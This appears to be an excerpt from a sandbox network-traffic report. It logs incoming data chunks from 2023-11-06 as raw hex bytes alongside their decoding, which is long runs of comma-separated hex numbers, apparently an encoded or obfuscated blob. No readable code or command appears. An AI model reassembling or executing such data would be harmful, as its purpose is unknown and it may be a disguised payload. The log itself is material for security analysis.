2023-11-06 14:35:15 UTC	24	IN	Data Raw: 37 36 2c 31 34 38 2c 62 37 2c 35 33 2c 38 33 2c 64 65 2c 38 34 2c 31 32 33 2c 36 34 2c 31 30 37 2c 65 31 2c 38 62 2c 31 32 63 2c 63 32 2c 63 64 2c 31 32 62 2c 64 38 2c 38 36 2c 31 33 61 2c 66 35 2c 39 39 2c 31 34 32 2c 31 32 33 2c 35 35 2c 35 61 2c 36 37 2c 36 32 2c 34 37 2c 65 36 2c 66 64 2c 61 66 2c 31 36 39 2c 64 34 2c 62 63 2c 31 33 62 2c 38 66 2c 31 32 39 2c 38 36 2c 31 34 64 2c 36 33 2c 35 35 2c 36 35 2c 35 63 2c 62 61 2c 34 36 2c 31 32 31 2c 63 63 2c 31 34 32 2c 31 34 65 2c 31 33 30 2c 64 33 2c 31 32 63 2c 63 30 2c 35 37 2c 39 65 2c 31 31 34 2c 39 61 2c 31 35 32 2c 36 34 2c 36 62 2c 31 30 34 2c 63 66 2c 31 32 33 2c 31 33 30 2c 31 33 33 2c 31 31 30 2c 31 34 32 2c 31 33 33 2c 31 33 31 2c 65 34 2c 31 32 39 2c 62 38 2c 39 39 2c 36 35 2c 38 62 2c 31 30 Data Ascii: 76,148,b7,53,83,de,84,123,64,107,e1,8b,12c,c2,cd,12b,d8,86,13a,f5,99,142,123,55,5a,67,62,47,e6,fd,af,169,d4,bc,13b,8f,129,86,14d,63,55,65,5c,ba,46,121,cc,142,14e,130,d3,12c,c0,57,9e,114,9a,152,64,6b,104,cf,123,130,133,110,142,133,131,e4,129,b8,99,65,8b,10
2023-11-06 14:35:15 UTC	25	IN	Data Raw: 2c 38 64 2c 38 38 2c 37 34 2c 35 61 2c 63 36 2c 62 66 2c 39 32 2c 61 62 2c 31 30 38 2c 38 37 2c 38 35 2c 35 31 2c 31 34 62 2c 31 34 35 2c 37 66 2c 35 38 2c 34 36 2c 39 31 2c 62 65 2c 31 33 30 2c 62 37 2c 35 62 2c 39 62 2c 34 65 2c 64 36 2c 34 65 2c 62 63 2c 36 62 2c 31 35 33 2c 36 66 2c 31 33 62 2c 62 37 2c 37 63 2c 34 34 2c 61 37 2c 31 31 61 2c 63 61 2c 31 30 65 2c 65 31 2c 35 62 2c 39 63 2c 64 61 2c 31 30 34 2c 39 31 2c 36 33 2c 31 33 64 2c 31 35 34 2c 31 35 32 2c 31 34 35 2c 31 33 37 2c 61 33 2c 37 38 2c 31 32 62 2c 31 34 30 2c 31 32 30 2c 31 34 64 2c 31 36 62 2c 61 35 2c 64 35 2c 64 30 2c 31 35 30 2c 35 61 2c 39 61 2c 31 33 64 2c 37 62 2c 37 64 2c 39 31 2c 31 34 65 2c 62 38 2c 38 66 2c 37 37 2c 35 32 2c 62 38 2c 66 37 2c 34 31 2c 35 31 2c 36 33 2c 64 Data Ascii: ,8d,88,74,5a,c6,bf,92,ab,108,87,85,51,14b,145,7f,58,46,91,be,130,b7,5b,9b,4e,d6,4e,bc,6b,153,6f,13b,b7,7c,44,a7,11a,ca,10e,e1,5b,9c,da,104,91,63,13d,154,152,145,137,a3,78,12b,140,120,14d,16b,a5,d5,d0,150,5a,9a,13d,7b,7d,91,14e,b8,8f,77,52,b8,f7,41,51,63,d
2023-11-06 14:35:15 UTC	27	IN	Data Raw: 31 32 65 2c 64 66 2c 31 35 39 2c 62 64 2c 31 34 61 2c 63 36 2c 34 66 2c 37 34 2c 35 61 2c 66 38 2c 31 33 62 2c 63 64 2c 31 32 62 2c 35 36 2c 33 34 2c 34 31 2c 35 31 2c 62 39 2c 31 33 64 2c 31 30 33 2c 36 61 2c 34 36 2c 33 38 2c 38 66 2c 31 35 38 2c 37 65 2c 36 30 2c 33 31 2c 34 65 2c 63 32 2c 31 33 34 2c 31 31 63 2c 38 38 2c 35 34 2c 35 61 2c 62 64 2c 31 34 61 2c 65 64 2c 36 31 2c 37 34 2c 35 61 2c 63 33 2c 31 33 33 2c 31 31 34 2c 35 65 2c 33 34 2c 33 32 2c 39 37 2c 31 33 39 2c 65 38 2c 35 37 2c 36 35 2c 35 38 2c 39 63 2c 31 32 30 2c 62 39 2c 38 62 2c 34 33 2c 34 66 2c 39 39 2c 61 35 2c 39 37 2c 38 63 2c 35 32 2c 31 35 33 2c 31 33 34 2c 36 34 2c 36 37 2c 36 32 2c 62 62 2c 31 30 38 2c 39 38 2c 66 64 2c 31 31 64 2c 38 62 2c 62 62 2c 34 33 2c 39 32 2c 66 35 Data Ascii: 12e,df,159,bd,14a,c6,4f,74,5a,f8,13b,cd,12b,56,34,41,51,b9,13d,103,6a,46,38,8f,158,7e,60,31,4e,c2,134,11c,88,54,5a,bd,14a,ed,61,74,5a,c3,133,114,5e,34,32,97,139,e8,57,65,58,9c,120,b9,8b,43,4f,99,a5,97,8c,52,153,134,64,67,62,bb,108,98,fd,11d,8b,bb,43,92,f5
2023-11-06 14:35:15 UTC	28	IN	Data Raw: 30 37 2c 34 38 2c 39 61 2c 35 31 2c 37 31 2c 36 34 2c 35 35 2c 63 64 2c 39 30 2c 66 64 2c 37 38 2c 33 39 2c 63 37 2c 31 32 62 2c 38 64 2c 34 64 2c 34 65 2c 36 63 2c 63 66 2c 31 31 36 2c 37 37 2c 31 33 66 2c 38 63 2c 64 31 2c 31 35 36 2c 31 33 37 2c 35 39 2c 64 63 2c 31 30 61 2c 61 64 2c 34 62 2c 31 30 32 2c 31 31 62 2c 36 66 2c 31 31 30 2c 62 35 2c 37 35 2c 65 36 2c 31 35 30 2c 31 36 34 2c 63 63 2c 36 35 2c 61 32 2c 33 39 2c 66 64 2c 38 38 2c 31 34 37 2c 38 31 2c 64 62 2c 61 30 2c 31 34 39 2c 31 30 65 2c 61 62 2c 39 38 2c 35 61 2c 31 36 36 2c 39 38 2c 31 32 30 2c 66 30 2c 39 32 2c 35 61 2c 36 64 2c 61 34 2c 63 37 2c 31 34 32 2c 36 61 2c 38 35 2c 31 34 30 2c 36 36 2c 63 37 2c 31 30 35 2c 61 35 2c 35 38 2c 61 35 2c 39 36 2c 39 34 2c 31 33 39 2c 31 30 36 2c Data Ascii: 07,48,9a,51,71,64,55,cd,90,fd,78,39,c7,12b,8d,4d,4e,6c,cf,116,77,13f,8c,d1,156,137,59,dc,10a,ad,4b,102,11b,6f,110,b5,75,e6,150,164,cc,65,a2,39,fd,88,147,81,db,a0,149,10e,ab,98,5a,166,98,120,f0,92,5a,6d,a4,c7,142,6a,85,140,66,c7,105,a5,58,a5,96,94,139,106,
2023-11-06 14:35:15 UTC	29	IN	Data Raw: 35 2c 62 61 2c 37 39 2c 37 64 2c 37 30 2c 63 65 2c 31 32 30 2c 33 34 2c 31 34 37 2c 61 37 2c 31 32 33 2c 63 66 2c 38 66 2c 62 66 2c 31 32 33 2c 37 33 2c 65 64 2c 62 36 2c 61 30 2c 66 37 2c 62 65 2c 61 36 2c 35 33 2c 37 37 2c 63 65 2c 37 31 2c 61 32 2c 38 32 2c 39 35 2c 36 33 2c 65 30 2c 38 32 2c 63 63 2c 38 37 2c 37 63 2c 33 39 2c 62 32 2c 34 36 2c 31 32 65 2c 62 34 2c 31 30 66 2c 37 38 2c 38 37 2c 31 32 35 2c 65 37 2c 31 33 36 2c 65 35 2c 63 34 2c 31 35 65 2c 63 33 2c 34 34 2c 66 66 2c 64 38 2c 64 31 2c 38 38 2c 31 30 35 2c 34 33 2c 33 34 2c 66 32 2c 62 36 2c 35 61 2c 31 32 61 2c 39 62 2c 63 39 2c 64 62 2c 34 36 2c 33 38 2c 33 39 2c 31 35 62 2c 61 31 2c 38 63 2c 63 31 2c 34 65 2c 36 63 2c 31 30 63 2c 63 37 2c 37 34 2c 31 31 62 2c 61 30 2c 63 62 2c 65 33 Data Ascii: 5,ba,79,7d,70,ce,120,34,147,a7,123,cf,8f,bf,123,73,ed,b6,a0,f7,be,a6,53,77,ce,71,a2,82,95,63,e0,82,cc,87,7c,39,b2,46,12e,b4,10f,78,87,125,e7,136,e5,c4,15e,c3,44,ff,d8,d1,88,105,43,34,f2,b6,5a,12a,9b,c9,db,46,38,39,15b,a1,8c,c1,4e,6c,10c,c7,74,11b,a0,cb,e3
2023-11-06 14:35:15 UTC	31	IN	Data Raw: 35 38 2c 39 64 2c 64 64 2c 62 38 2c 36 34 2c 61 64 2c 39 61 2c 31 32 32 2c 38 65 2c 63 64 2c 37 62 2c 65 35 2c 31 35 66 2c 64 36 2c 63 63 2c 34 66 2c 66 62 2c 33 33 2c 34 32 2c 35 31 2c 36 33 2c 35 35 2c 39 65 2c 39 64 2c 34 65 2c 61 63 2c 34 32 2c 66 62 2c 61 30 2c 35 37 2c 62 34 2c 39 33 2c 37 34 2c 35 30 2c 64 62 2c 37 65 2c 64 64 2c 39 66 2c 31 36 33 2c 65 32 2c 37 36 2c 36 36 2c 65 39 2c 36 61 2c 61 30 2c 31 30 62 2c 62 30 2c 38 38 2c 31 33 30 2c 65 35 2c 36 33 2c 36 30 2c 66 37 2c 31 31 35 2c 61 62 2c 65 31 2c 38 62 2c 31 33 34 2c 31 32 34 2c 61 63 2c 31 34 32 2c 35 36 2c 62 36 2c 31 32 30 2c 65 30 2c 35 34 2c 64 63 2c 37 31 2c 64 63 2c 35 63 2c 61 39 2c 65 62 2c 38 64 2c 35 30 2c 66 65 2c 37 38 2c 37 63 2c 31 30 31 2c 31 33 61 2c 39 33 2c 37 61 2c Data Ascii: 58,9d,dd,b8,64,ad,9a,122,8e,cd,7b,e5,15f,d6,cc,4f,fb,33,42,51,63,55,9e,9d,4e,ac,42,fb,a0,57,b4,93,74,50,db,7e,dd,9f,163,e2,76,66,e9,6a,a0,10b,b0,88,130,e5,63,60,f7,115,ab,e1,8b,134,124,ac,142,56,b6,120,e0,54,dc,71,dc,5c,a9,eb,8d,50,fe,78,7c,101,13a,93,7a,
2023-11-06 14:35:15 UTC	32	IN	Data Raw: 34 32 2c 65 30 2c 36 64 2c 37 37 2c 34 33 2c 39 63 2c 33 36 2c 34 32 2c 35 31 2c 36 33 2c 31 31 33 2c 37 64 2c 61 37 2c 38 61 2c 33 38 2c 38 66 2c 63 33 2c 63 62 2c 36 63 2c 34 64 2c 39 65 2c 62 30 2c 34 63 2c 31 35 31 2c 38 30 2c 63 30 2c 31 30 61 2c 61 37 2c 36 32 2c 64 39 2c 31 34 30 2c 63 39 2c 39 65 2c 36 64 2c 64 34 2c 61 63 2c 31 32 37 2c 37 66 2c 37 36 2c 34 31 2c 38 63 2c 31 32 36 2c 63 39 2c 36 63 2c 65 31 2c 38 62 2c 31 33 34 2c 37 31 2c 38 38 2c 62 38 2c 35 32 2c 62 61 2c 63 33 2c 31 36 38 2c 64 37 2c 61 37 2c 31 36 37 2c 65 31 2c 39 66 2c 31 35 66 2c 62 32 2c 38 62 2c 39 37 2c 31 30 31 2c 64 37 2c 31 36 31 2c 31 33 33 2c 38 31 2c 31 34 31 2c 31 33 33 2c 31 33 31 2c 63 63 2c 39 36 2c 31 35 62 2c 64 38 2c 31 32 39 2c 36 34 2c 38 33 2c 31 33 37 Data Ascii: 42,e0,6d,77,43,9c,36,42,51,63,113,7d,a7,8a,38,8f,c3,cb,6c,4d,9e,b0,4c,151,80,c0,10a,a7,62,d9,140,c9,9e,6d,d4,ac,127,7f,76,41,8c,126,c9,6c,e1,8b,134,71,88,b8,52,ba,c3,168,d7,a7,167,e1,9f,15f,b2,8b,97,101,d7,161,133,81,141,133,131,cc,96,15b,d8,129,64,83,137
2023-11-06 14:35:15 UTC	33	IN	Data Raw: 2c 65 32 2c 31 34 31 2c 61 32 2c 31 30 39 2c 37 34 2c 38 32 2c 63 61 2c 39 36 2c 31 35 62 2c 31 33 64 2c 31 33 32 2c 36 32 2c 34 36 2c 33 38 2c 63 34 2c 31 36 38 2c 39 63 2c 38 61 2c 31 32 63 2c 63 33 2c 37 38 2c 61 32 2c 31 35 31 2c 38 30 2c 63 38 2c 31 30 61 2c 61 37 2c 36 32 2c 31 32 31 2c 38 39 2c 31 37 33 2c 31 35 39 2c 31 36 63 2c 31 34 61 2c 65 63 2c 31 33 62 2c 38 61 2c 38 39 2c 31 32 39 2c 39 33 2c 38 34 2c 35 35 2c 36 35 2c 64 62 2c 31 30 61 2c 34 34 2c 38 66 2c 31 36 66 2c 35 38 2c 63 33 2c 65 31 2c 38 65 2c 36 63 2c 64 37 2c 31 31 39 2c 63 61 2c 62 32 2c 62 35 2c 31 33 30 2c 31 32 35 2c 61 32 2c 39 38 2c 64 63 2c 31 32 32 2c 31 33 30 2c 38 62 2c 37 37 2c 31 32 62 2c 31 32 39 2c 31 32 32 2c 31 34 30 2c 31 35 30 2c 39 36 2c 31 35 34 2c 65 65 2c Data Ascii: ,e2,141,a2,109,74,82,ca,96,15b,13d,132,62,46,38,c4,168,9c,8a,12c,c3,78,a2,151,80,c8,10a,a7,62,121,89,173,159,16c,14a,ec,13b,8a,89,129,93,84,55,65,db,10a,44,8f,16f,58,c3,e1,8e,6c,d7,119,ca,b2,b5,130,125,a2,98,dc,122,130,8b,77,12b,129,122,140,150,96,154,ee,
2023-11-06 14:35:15 UTC	35	IN	Data Raw: 36 2c 61 39 2c 66 31 2c 37 32 2c 35 35 2c 36 35 2c 65 35 2c 38 63 2c 34 34 2c 38 39 2c 31 35 38 2c 31 30 61 2c 35 37 2c 33 31 2c 34 65 2c 63 35 2c 61 35 2c 64 37 2c 31 32 62 2c 36 33 2c 64 65 2c 31 33 30 2c 36 32 2c 33 38 2c 34 34 2c 31 37 33 2c 61 30 2c 37 35 2c 31 34 61 2c 62 63 2c 31 32 33 2c 37 37 2c 62 35 2c 38 36 2c 31 33 35 2c 36 37 2c 38 65 2c 65 32 2c 31 33 38 2c 63 32 2c 63 62 2c 36 63 2c 31 34 62 2c 63 65 2c 31 34 32 2c 66 32 2c 31 33 34 2c 37 32 2c 34 66 2c 38 37 2c 31 32 62 2c 61 38 2c 39 65 2c 36 37 2c 65 64 2c 33 65 2c 63 37 2c 31 36 63 2c 31 35 39 2c 65 31 2c 35 36 2c 66 61 2c 31 33 62 2c 31 33 32 2c 61 36 2c 34 37 2c 64 31 2c 62 31 2c 35 39 2c 65 35 2c 31 34 33 2c 62 38 2c 66 65 2c 37 66 2c 37 34 2c 63 34 2c 64 34 2c 31 30 63 2c 63 33 2c Data Ascii: 6,a9,f1,72,55,65,e5,8c,44,89,158,10a,57,31,4e,c5,a5,d7,12b,63,de,130,62,38,44,173,a0,75,14a,bc,123,77,b5,86,135,67,8e,e2,138,c2,cb,6c,14b,ce,142,f2,134,72,4f,87,12b,a8,9e,67,ed,3e,c7,16c,159,e1,56,fa,13b,132,a6,47,d1,b1,59,e5,143,b8,fe,7f,74,c4,d4,10c,c3,
2023-11-06 14:35:15 UTC	36	IN	Data Raw: 32 39 2c 66 34 2c 31 35 34 2c 31 35 34 2c 31 36 34 2c 62 31 2c 63 62 2c 66 38 2c 61 64 2c 38 38 2c 61 62 2c 36 37 2c 65 39 2c 38 65 2c 36 63 2c 39 63 2c 31 35 31 2c 38 30 2c 36 38 2c 31 30 61 2c 61 37 2c 36 32 2c 62 64 2c 31 30 34 2c 65 38 2c 36 32 2c 31 36 63 2c 63 30 2c 37 66 2c 31 34 32 2c 31 30 34 2c 62 62 2c 38 36 2c 35 39 2c 65 65 2c 39 61 2c 36 64 2c 62 36 2c 61 33 2c 66 62 2c 61 33 2c 37 30 2c 31 32 62 2c 64 36 2c 31 33 30 2c 31 34 64 2c 31 36 62 2c 61 35 2c 31 31 35 2c 66 36 2c 31 35 33 2c 61 66 2c 66 32 2c 31 34 65 2c 38 65 2c 31 34 33 2c 61 39 2c 31 31 65 2c 61 65 2c 38 66 2c 37 37 2c 63 65 2c 36 39 2c 63 36 2c 66 31 2c 39 31 2c 36 33 2c 31 35 34 2c 31 33 62 2c 64 64 2c 31 30 36 2c 61 63 2c 35 61 2c 31 31 31 2c 31 30 33 2c 39 30 2c 37 35 2c 34 Data Ascii: 29,f4,154,154,164,b1,cb,f8,ad,88,ab,67,e9,8e,6c,9c,151,80,68,10a,a7,62,bd,104,e8,62,16c,c0,7f,142,104,bb,86,59,ee,9a,6d,b6,a3,fb,a3,70,12b,d6,130,14d,16b,a5,115,f6,153,af,f2,14e,8e,143,a9,11e,ae,8f,77,ce,69,c6,f1,91,63,154,13b,dd,106,ac,5a,111,103,90,75,4
2023-11-06 14:35:15 UTC	37	IN	Data Raw: 31 33 66 2c 33 34 2c 31 33 31 2c 62 37 2c 62 39 2c 31 36 32 2c 36 61 2c 31 30 39 2c 31 30 38 2c 38 36 2c 33 38 2c 31 30 30 2c 62 35 2c 31 33 66 2c 31 34 64 2c 31 33 30 2c 31 34 64 2c 31 36 62 2c 31 33 34 2c 39 30 2c 36 62 2c 35 34 2c 35 61 2c 64 31 2c 36 65 2c 31 32 30 2c 61 39 2c 31 35 35 2c 31 35 39 2c 31 36 63 2c 61 34 2c 31 30 30 2c 63 30 2c 31 33 30 2c 62 64 2c 38 36 2c 35 64 2c 65 63 2c 39 62 2c 64 31 2c 64 64 2c 31 30 36 2c 61 64 2c 34 31 2c 31 31 31 2c 34 62 2c 39 37 2c 37 35 2c 34 65 2c 66 35 2c 39 32 2c 62 65 2c 31 36 61 2c 63 61 2c 63 36 2c 31 34 66 2c 37 65 2c 35 39 2c 34 34 2c 37 34 2c 62 33 2c 31 33 34 2c 39 30 2c 31 37 33 2c 31 34 31 2c 31 33 33 2c 31 33 31 2c 31 34 30 2c 31 33 39 2c 37 38 2c 35 35 2c 36 35 2c 35 38 2c 31 32 65 2c 61 39 2c Data Ascii: 13f,34,131,b7,b9,162,6a,109,108,86,38,100,b5,13f,14d,130,14d,16b,134,90,6b,54,5a,d1,6e,120,a9,155,159,16c,a4,100,c0,130,bd,86,5d,ec,9b,d1,dd,106,ad,41,111,4b,97,75,4e,f5,92,be,16a,ca,c6,14f,7e,59,44,74,b3,134,90,173,141,133,131,140,139,78,55,65,58,12e,a9,
2023-11-06 14:35:15 UTC	39	IN	Data Raw: 37 2c 31 36 61 2c 63 38 2c 37 34 2c 62 65 2c 31 36 31 2c 34 64 2c 66 34 2c 31 32 34 2c 39 61 2c 36 64 2c 64 30 2c 31 33 37 2c 62 38 2c 34 33 2c 62 33 2c 31 34 30 2c 35 31 2c 61 35 2c 39 39 2c 36 35 2c 63 63 2c 34 64 2c 38 66 2c 31 32 31 2c 39 31 2c 31 31 64 2c 31 34 65 2c 31 33 30 2c 61 37 2c 31 33 33 2c 39 31 2c 31 34 65 2c 31 36 39 2c 31 35 33 2c 31 35 39 2c 31 36 36 2c 31 34 61 2c 38 66 2c 34 34 2c 37 34 2c 35 61 2c 64 37 2c 35 37 2c 31 35 66 2c 31 30 32 2c 31 31 33 2c 31 33 31 2c 31 34 30 2c 61 61 2c 31 32 61 2c 39 61 2c 31 36 31 2c 35 39 2c 34 36 2c 33 38 2c 33 39 2c 66 62 2c 63 31 2c 62 62 2c 62 36 2c 31 34 64 2c 65 30 2c 36 66 2c 61 39 2c 31 35 33 2c 36 32 2c 37 61 2c 36 37 2c 36 32 2c 39 31 2c 37 66 2c 62 31 2c 36 32 2c 62 35 2c 38 66 2c 37 37 2c Data Ascii: 7,16a,c8,74,be,161,4d,f4,124,9a,6d,d0,137,b8,43,b3,140,51,a5,99,65,cc,4d,8f,121,91,11d,14e,130,a7,133,91,14e,169,153,159,166,14a,8f,44,74,5a,d7,57,15f,102,113,131,140,aa,12a,9a,161,59,46,38,39,fb,c1,bb,b6,14d,e0,6f,a9,153,62,7a,67,62,91,7f,b1,62,b5,8f,77,
2023-11-06 14:35:15 UTC	40	IN	Data Raw: 63 2c 31 36 61 2c 31 35 33 2c 64 64 2c 31 32 62 2c 37 32 2c 64 62 2c 37 34 2c 63 34 2c 39 65 2c 36 64 2c 31 33 33 2c 31 33 62 2c 31 31 66 2c 31 33 33 2c 31 33 31 2c 63 36 2c 31 31 31 2c 64 37 2c 62 61 2c 63 64 2c 65 38 2c 37 66 2c 37 38 2c 33 39 2c 31 36 66 2c 37 38 2c 37 33 2c 38 31 2c 39 32 2c 36 63 2c 31 33 34 2c 38 66 2c 31 36 36 2c 31 35 33 2c 31 35 39 2c 63 30 2c 31 36 31 2c 31 30 38 2c 65 37 2c 31 33 34 2c 39 62 2c 62 31 2c 34 62 2c 66 61 2c 31 33 62 2c 31 33 33 2c 61 36 2c 38 39 2c 62 39 2c 37 37 2c 35 37 2c 36 35 2c 35 38 2c 62 30 2c 33 39 2c 31 32 31 2c 31 35 64 2c 34 35 2c 34 66 2c 33 31 2c 64 39 2c 31 35 63 2c 61 35 2c 61 62 2c 66 30 2c 31 34 61 2c 63 65 2c 39 62 2c 62 38 2c 31 33 37 2c 37 39 2c 31 33 34 2c 39 62 2c 62 31 2c 34 62 2c 31 37 36 Data Ascii: c,16a,153,dd,12b,72,db,74,c4,9e,6d,133,13b,11f,133,131,c6,111,d7,ba,cd,e8,7f,78,39,16f,78,73,81,92,6c,134,8f,166,153,159,c0,161,108,e7,134,9b,b1,4b,fa,13b,133,a6,89,b9,77,57,65,58,b0,39,121,15d,45,4f,31,d9,15c,a5,ab,f0,14a,ce,9b,b8,137,79,134,9b,b1,4b,176
2023-11-06 14:35:15 UTC	41	IN	Data Raw: 36 32 2c 31 35 34 2c 63 62 2c 65 34 2c 64 62 2c 31 33 30 2c 31 33 36 2c 31 36 66 2c 31 34 32 2c 62 35 2c 62 64 2c 64 62 2c 31 35 38 2c 31 34 39 2c 31 35 31 2c 31 36 61 2c 62 61 2c 65 36 2c 31 30 34 2c 31 32 61 2c 31 33 35 2c 31 34 33 2c 31 37 33 2c 63 30 2c 66 39 2c 64 30 2c 31 33 62 2c 31 34 30 2c 31 33 33 2c 31 33 31 2c 61 37 2c 64 64 2c 31 30 38 2c 31 31 35 2c 31 36 32 2c 31 35 37 2c 31 34 35 2c 39 65 2c 63 35 2c 31 31 64 2c 66 66 2c 31 34 63 2c 31 33 30 2c 31 34 64 2c 31 30 38 2c 64 62 2c 64 37 2c 31 35 62 2c 31 35 31 2c 31 35 39 2c 31 36 36 2c 65 64 2c 37 64 2c 34 38 2c 31 30 31 2c 61 37 2c 37 31 2c 31 31 32 2c 66 63 2c 37 33 2c 31 33 31 2c 31 33 31 2c 31 34 30 2c 35 32 2c 36 33 2c 35 36 2c 36 35 2c 65 31 2c 63 62 2c 31 32 30 2c 31 33 36 2c 31 36 66 Data Ascii: 62,154,cb,e4,db,130,136,16f,142,b5,bd,db,158,149,151,16a,ba,e6,104,12a,135,143,173,c0,f9,d0,13b,140,133,131,a7,dd,108,115,162,157,145,9e,c5,11d,ff,14c,130,14d,108,db,d7,15b,151,159,166,ed,7d,48,101,a7,71,112,fc,73,131,131,140,52,63,56,65,e1,cb,120,136,16f
2023-11-06 14:35:15 UTC	43	IN	Data Raw: 31 32 34 2c 66 32 2c 31 32 39 2c 39 37 2c 61 32 2c 64 31 2c 31 31 64 2c 66 38 2c 31 34 61 2c 63 63 2c 63 65 2c 31 32 30 2c 38 38 2c 39 38 2c 38 34 2c 31 35 39 2c 62 66 2c 36 35 2c 31 35 37 2c 62 62 2c 34 34 2c 31 33 38 2c 65 35 2c 34 62 2c 31 33 37 2c 66 61 2c 36 61 2c 36 63 2c 34 63 2c 64 64 2c 31 36 33 2c 64 37 2c 31 31 65 2c 37 33 2c 65 37 2c 31 33 37 2c 62 39 2c 39 62 2c 39 33 2c 37 32 2c 38 37 2c 63 37 2c 38 37 2c 33 34 2c 61 38 2c 36 30 2c 61 37 2c 31 36 32 2c 36 61 2c 36 39 2c 31 30 38 2c 38 36 2c 33 38 2c 63 36 2c 66 36 2c 31 32 62 2c 35 32 2c 33 31 2c 34 65 2c 61 37 2c 35 31 2c 38 65 2c 62 62 2c 39 38 2c 35 61 2c 64 64 2c 36 35 2c 62 62 2c 31 30 63 2c 31 37 33 2c 65 35 2c 31 35 64 2c 63 65 2c 31 36 66 2c 31 34 32 2c 61 39 2c 66 35 2c 63 63 2c 31 Data Ascii: 124,f2,129,97,a2,d1,11d,f8,14a,cc,ce,120,88,98,84,159,bf,65,157,bb,44,138,e5,4b,137,fa,6a,6c,4c,dd,163,d7,11e,73,e7,137,b9,9b,93,72,87,c7,87,34,a8,60,a7,162,6a,69,108,86,38,c6,f6,12b,52,31,4e,a7,51,8e,bb,98,5a,dd,65,bb,10c,173,e5,15d,ce,16f,142,a9,f5,cc,1
2023-11-06 14:35:15 UTC	44	IN	Data Raw: 34 62 2c 31 30 34 2c 38 63 2c 33 34 2c 31 32 64 2c 38 31 2c 39 31 2c 36 33 2c 31 33 64 2c 61 35 2c 39 38 2c 34 36 2c 31 31 38 2c 37 39 2c 62 30 2c 34 33 2c 31 32 37 2c 37 31 2c 38 65 2c 36 63 2c 31 31 63 2c 39 32 2c 61 62 2c 35 34 2c 31 32 32 2c 61 37 2c 61 32 2c 33 38 2c 31 30 34 2c 62 34 2c 39 61 2c 36 64 2c 31 30 33 2c 62 37 2c 38 33 2c 33 34 2c 62 64 2c 38 35 2c 64 66 2c 31 34 37 2c 64 65 2c 61 39 2c 65 37 2c 31 32 61 2c 63 33 2c 37 64 2c 66 65 2c 31 32 62 2c 64 38 2c 37 35 2c 64 64 2c 31 35 34 2c 64 37 2c 39 36 2c 66 39 2c 31 34 30 2c 65 33 2c 61 62 2c 66 31 2c 31 32 34 2c 63 66 2c 62 38 2c 65 38 2c 31 35 64 2c 64 34 2c 62 62 2c 64 32 2c 31 32 34 2c 62 64 2c 38 35 2c 64 66 2c 31 35 37 2c 64 65 2c 61 39 2c 65 37 2c 31 33 61 2c 63 33 2c 37 64 2c 66 65 Data Ascii: 4b,104,8c,34,12d,81,91,63,13d,a5,98,46,118,79,b0,43,127,71,8e,6c,11c,92,ab,54,122,a7,a2,38,104,b4,9a,6d,103,b7,83,34,bd,85,df,147,de,a9,e7,12a,c3,7d,fe,12b,d8,75,dd,154,d7,96,f9,140,e3,ab,f1,124,cf,b8,e8,15d,d4,bb,d2,124,bd,85,df,157,de,a9,e7,13a,c3,7d,fe
2023-11-06 14:35:15 UTC	45	IN	Data Raw: 62 39 2c 61 37 2c 39 38 2c 34 36 2c 61 34 2c 37 62 2c 62 30 2c 34 33 2c 63 33 2c 37 33 2c 38 65 2c 36 63 2c 63 38 2c 39 34 2c 61 62 2c 35 34 2c 64 65 2c 61 39 2c 61 32 2c 33 38 2c 64 62 2c 62 36 2c 39 61 2c 36 64 2c 64 36 2c 62 62 2c 64 31 2c 35 30 2c 62 62 2c 38 35 2c 65 30 2c 37 66 2c 65 30 2c 61 39 2c 65 36 2c 35 65 2c 63 31 2c 37 64 2c 66 66 2c 35 62 2c 64 61 2c 37 35 2c 64 63 2c 38 30 2c 64 35 2c 39 36 2c 66 61 2c 36 38 2c 65 35 2c 61 62 2c 66 30 2c 34 38 2c 63 64 2c 62 38 2c 65 39 2c 37 64 2c 64 36 2c 62 62 2c 64 31 2c 34 30 2c 62 62 2c 38 35 2c 65 30 2c 36 66 2c 65 30 2c 61 39 2c 65 36 2c 34 65 2c 63 31 2c 37 64 2c 66 66 2c 34 62 2c 64 61 2c 37 35 2c 64 63 2c 37 30 2c 64 35 2c 39 36 2c 66 61 2c 35 38 2c 65 37 2c 36 62 2c 65 66 2c 33 38 2c 34 34 2c Data Ascii: b9,a7,98,46,a4,7b,b0,43,c3,73,8e,6c,c8,94,ab,54,de,a9,a2,38,db,b6,9a,6d,d6,bb,d1,50,bb,85,e0,7f,e0,a9,e6,5e,c1,7d,ff,5b,da,75,dc,80,d5,96,fa,68,e5,ab,f0,48,cd,b8,e9,7d,d6,bb,d1,40,bb,85,e0,6f,e0,a9,e6,4e,c1,7d,ff,4b,da,75,dc,70,d5,96,fa,58,e7,6b,ef,38,44,
2023-11-06 14:35:15 UTC	47	IN	Data Raw: 31 35 39 2c 31 36 36 2c 31 36 31 2c 62 62 2c 31 30 38 2c 38 30 2c 62 37 2c 31 32 66 2c 34 66 2c 37 37 2c 39 38 2c 38 61 2c 38 39 2c 39 34 2c 64 63 2c 31 34 64 2c 38 38 2c 31 32 35 2c 38 62 2c 31 32 31 2c 36 62 2c 31 30 62 2c 61 33 2c 31 33 39 2c 38 32 2c 31 33 30 2c 31 34 64 2c 31 33 64 2c 61 37 2c 62 31 2c 63 39 2c 62 31 2c 31 31 64 2c 66 32 2c 31 34 63 2c 63 33 2c 31 33 35 2c 66 66 2c 31 31 62 2c 64 37 2c 34 63 2c 31 35 66 2c 62 61 2c 35 32 2c 33 32 2c 34 31 2c 38 34 2c 31 32 33 2c 38 38 2c 31 34 30 2c 38 62 2c 31 30 66 2c 36 62 2c 31 30 62 2c 61 33 2c 31 34 32 2c 31 34 65 2c 31 31 37 2c 61 33 2c 66 37 2c 31 33 38 2c 61 35 2c 63 31 2c 61 62 2c 63 34 2c 36 37 2c 63 63 2c 33 38 2c 61 63 2c 61 66 2c 39 65 2c 61 64 2c 34 62 2c 63 38 2c 31 32 62 2c 66 37 2c Data Ascii: 159,166,161,bb,108,80,b7,12f,4f,77,98,8a,89,94,dc,14d,88,125,8b,121,6b,10b,a3,139,82,130,14d,13d,a7,b1,c9,b1,11d,f2,14c,c3,135,ff,11b,d7,4c,15f,ba,52,32,41,84,123,88,140,8b,10f,6b,10b,a3,142,14e,117,a3,f7,138,a5,c1,ab,c4,67,cc,38,ac,af,9e,ad,4b,c8,12b,f7,
